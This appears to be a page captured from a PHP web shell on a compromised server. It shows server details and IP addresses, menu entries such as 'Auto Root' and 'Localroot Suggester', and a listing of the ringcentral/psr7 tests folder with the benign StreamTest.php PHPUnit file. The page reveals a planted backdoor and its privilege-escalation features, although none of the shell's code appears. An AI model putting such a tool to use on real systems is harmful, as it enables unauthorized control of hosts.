Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.145.158.137
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
ringcentral /
psr7 /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
AppendStreamTest.php
5.7
KB
-rw-r--r--
2018-01-15 09:00
BufferStreamTest.php
1.9
KB
-rw-r--r--
2018-01-15 09:00
CachingStreamTest.php
5.54
KB
-rw-r--r--
2018-01-15 09:00
DroppingStreamTest.php
919
B
-rw-r--r--
2018-01-15 09:00
FnStreamTest.php
2.55
KB
-rw-r--r--
2018-01-15 09:00
FunctionsTest.php
20.76
KB
-rw-r--r--
2018-01-15 09:00
InflateStreamTest.php
446
B
-rw-r--r--
2018-01-15 09:00
LazyOpenStreamTest.php
1.8
KB
-rw-r--r--
2018-01-15 09:00
LimitStreamTest.php
4.87
KB
-rw-r--r--
2018-01-15 09:00
MultipartStreamTest.php
5.24
KB
-rw-r--r--
2018-01-15 09:00
NoSeekStreamTest.php
1.12
KB
-rw-r--r--
2018-01-15 09:00
PumpStreamTest.php
2.17
KB
-rw-r--r--
2018-01-15 09:00
RequestTest.php
4.71
KB
-rw-r--r--
2018-01-15 09:00
ResponseTest.php
4.73
KB
-rw-r--r--
2018-01-15 09:00
ServerRequestTest.php
2.55
KB
-rw-r--r--
2018-01-15 09:00
StreamDecoratorTraitTest.php
3.22
KB
-rw-r--r--
2018-01-15 09:00
StreamTest.php
5.03
KB
-rw-r--r--
2018-01-15 09:00
StreamWrapperTest.php
3.12
KB
-rw-r--r--
2018-01-15 09:00
UriTest.php
10.18
KB
-rw-r--r--
2018-01-15 09:00
bootstrap.php
197
B
-rw-r--r--
2018-01-15 09:00
Save
Rename
<?php namespace RingCentral\Tests\Psr7; use RingCentral\Psr7\NoSeekStream; use RingCentral\Psr7\Stream; /** * @covers RingCentral\Psr7\Stream */ class StreamTest extends \PHPUnit_Framework_TestCase { /** * @expectedException \InvalidArgumentException */ public function testConstructorThrowsExceptionOnInvalidArgument() { new Stream(true); } public function testConstructorInitializesProperties() { $handle = fopen('php://temp', 'r+'); fwrite($handle, 'data'); $stream = new Stream($handle); $this->assertTrue($stream->isReadable()); $this->assertTrue($stream->isWritable()); $this->assertTrue($stream->isSeekable()); $this->assertEquals('php://temp', $stream->getMetadata('uri')); $this->assertInternalType('array', $stream->getMetadata()); $this->assertEquals(4, $stream->getSize()); $this->assertFalse($stream->eof()); $stream->close(); } public function testStreamClosesHandleOnDestruct() { $handle = fopen('php://temp', 'r'); $stream = new Stream($handle); unset($stream); $this->assertFalse(is_resource($handle)); } public function testConvertsToString() { $handle = fopen('php://temp', 'w+'); fwrite($handle, 'data'); $stream = new Stream($handle); $this->assertEquals('data', (string) $stream); $this->assertEquals('data', (string) $stream); $stream->close(); } public function testGetsContents() { $handle = fopen('php://temp', 'w+'); fwrite($handle, 'data'); $stream = new Stream($handle); $this->assertEquals('', $stream->getContents()); $stream->seek(0); $this->assertEquals('data', $stream->getContents()); $this->assertEquals('', $stream->getContents()); } public function testChecksEof() { $handle = fopen('php://temp', 'w+'); fwrite($handle, 'data'); $stream = new Stream($handle); $this->assertFalse($stream->eof()); $stream->read(4); $this->assertTrue($stream->eof()); $stream->close(); } public function testGetSize() { $size = filesize(__FILE__); $handle = fopen(__FILE__, 'r'); $stream = new Stream($handle); $this->assertEquals($size, $stream->getSize()); // Load from cache $this->assertEquals($size, $stream->getSize()); $stream->close(); } public function testEnsuresSizeIsConsistent() { $h = fopen('php://temp', 'w+'); $this->assertEquals(3, fwrite($h, 'foo')); $stream = new Stream($h); $this->assertEquals(3, $stream->getSize()); $this->assertEquals(4, $stream->write('test')); $this->assertEquals(7, $stream->getSize()); $this->assertEquals(7, $stream->getSize()); $stream->close(); } public function testProvidesStreamPosition() { $handle = fopen('php://temp', 'w+'); $stream = new Stream($handle); $this->assertEquals(0, $stream->tell()); $stream->write('foo'); $this->assertEquals(3, $stream->tell()); $stream->seek(1); $this->assertEquals(1, $stream->tell()); $this->assertSame(ftell($handle), $stream->tell()); $stream->close(); } public function testCanDetachStream() { $r = fopen('php://temp', 'w+'); $stream = new Stream($r); $stream->write('foo'); $this->assertTrue($stream->isReadable()); $this->assertSame($r, $stream->detach()); $stream->detach(); $this->assertFalse($stream->isReadable()); $this->assertFalse($stream->isWritable()); $this->assertFalse($stream->isSeekable()); $self = $this; $throws = function ($fn) use ($stream, $self) { try { $fn($stream); $self->fail(); } catch (\Exception $e) {} }; $throws(function ($stream) { $stream->read(10); }); $throws(function ($stream) { $stream->write('bar'); }); $throws(function ($stream) { $stream->seek(10); }); $throws(function ($stream) { $stream->tell(); }); $throws(function ($stream) { $stream->eof(); }); $throws(function ($stream) { $stream->getSize(); }); $throws(function ($stream) { $stream->getContents(); }); $this->assertSame('', (string) $stream); $stream->close(); } public function testCloseClearProperties() { $handle = fopen('php://temp', 'r+'); $stream = new Stream($handle); $stream->close(); $this->assertFalse($stream->isSeekable()); $this->assertFalse($stream->isReadable()); $this->assertFalse($stream->isWritable()); $this->assertNull($stream->getSize()); $this->assertEmpty($stream->getMetadata()); } public function testDoesNotThrowInToString() { $s = \RingCentral\Psr7\stream_for('foo'); $s = new NoSeekStream($s); $this->assertEquals('foo', (string) $s); } }